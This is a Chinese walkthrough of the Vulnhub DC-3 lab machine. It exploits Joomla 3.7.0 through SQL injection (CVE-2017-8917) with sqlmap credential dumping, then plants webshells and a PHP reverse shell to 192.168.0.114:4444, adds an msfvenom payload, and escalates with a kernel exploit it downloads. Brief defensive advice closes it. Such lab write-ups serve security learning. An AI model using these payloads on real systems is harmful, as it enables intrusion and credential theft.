Vulnhub靶机渗透测试之DC-3-Joomla
字数 1352 2025-08-15 21:33:04
Joomla CMS渗透测试实战:DC-3靶机攻防详解
1. 环境准备
1.1 靶机信息
- 靶机名称:DC-3
- 下载地址:https://www.vulnhub.com/entry/dc-32,312/
- 目标:获取/root目录下的flag文件
- 系统环境:Ubuntu 16.04
- CMS类型:Joomla 3.7.0
1.2 攻击机配置
- 网络模式:桥接模式
- 示例IP:192.168.0.114
1.3 常见问题解决
错误提示:IDE设备(磁盘/CD-ROM)配置不正确。"ide1:1"上具有一个IDE从设备,但没有主设备。
解决方法:
- 选择虚拟机
- 点击"虚拟机"→"设置"→"CD/DVD(IDE)"
- 点击"高级"
- 将启动设备设置到IDE 0:0
2. 信息收集
2.1 初始扫描
使用nmap进行基础扫描:
nmap -sV 192.168.0.106
预期结果:
- 开放80端口
- 识别出Joomla CMS系统
2.2 Joomla专用扫描
使用joomscan工具进行深度扫描:
git clone https://github.com/rezasp/joomscan.git
cd joomscan
perl joomscan.pl --url http://192.168.0.106
扫描结果:
- Joomla版本:3.7.0
- 存在漏洞:CVE-2017-8917 (SQL注入)
3. 漏洞利用
3.1 SQL注入漏洞利用
漏洞验证POC:
http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
使用sqlmap自动化利用:
- 获取数据库名:
sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --dbs --batch
- 获取表名:
sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb --tables --batch
发现关键表:#__users
- 获取用户凭证:
sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb -T "#__users" -C name,password --dump --batch
- 破解密码哈希:
john hash.txt
示例结果:密码明文为"snoopy"
4. 获取访问权限
4.1 后台登录
访问后台地址:
http://192.168.0.106/administrator
使用获取的凭证登录(用户名:admin,密码:snoopy)
4.2 获取Webshell
方法1:直接插入反弹shell
- 编辑模板文件(如beez3/error.php)
- 插入以下代码:
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.0.114/4444 0>&1'"); ?>
- 在攻击机监听:
nc -lvnp 4444
- 访问触发页面:
http://192.168.0.106/templates/beez3/error.php
方法2:一句话木马
插入代码:
<?php eval($_POST['cmd']); ?>
使用蚁剑等工具连接
方法3:冰蝎木马
插入冰蝎默认PHP木马代码
方法4:MSF生成payload
- 生成payload:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -f raw > shell.php
- 上传并执行
- MSF设置监听
5. 权限提升
5.1 系统信息收集
uname -a
结果显示:Ubuntu 16.04
5.2 查找可用漏洞
searchsploit Ubuntu 16.04
发现可用漏洞:Linux Kernel 4.4.0 (Ubuntu 16.04) - 'ebpf' Local Privilege Escalation
5.3 利用内核漏洞提权
- 下载exp:
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
- 上传到目标系统
- 解压并编译:
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
- 获取root权限
6. 获取flag
cat /root/flag.txt
7. 知识点总结
-
Joomla CMS:
- PHP+MySQL开发的内容管理系统
- 广泛用于商业网站、博客等
- 支持多语言、SEO友好
-
joomscan工具:
- 专用Joomla漏洞扫描器
- 可识别版本和已知漏洞
-
CVE-2017-8917:
- Joomla 3.7.0的SQL注入漏洞
- 影响com_fields组件
- 可获取管理员凭证
-
Linux提权技术:
- 内核漏洞利用
- 需要信息收集确定系统版本
- 编译执行预制的exploit
-
Webshell技术:
- 多种获取方式(直接插入、上传等)
- 可结合多种工具(蚁剑、冰蝎、MSF)
- 模板编辑是常见入口点
8. 防御建议
- 及时更新Joomla到最新版本
- 限制后台访问IP
- 使用强密码策略
- 定期审计模板和插件文件
- 保持操作系统和内核更新
- 实施最小权限原则
- 监控异常文件修改行为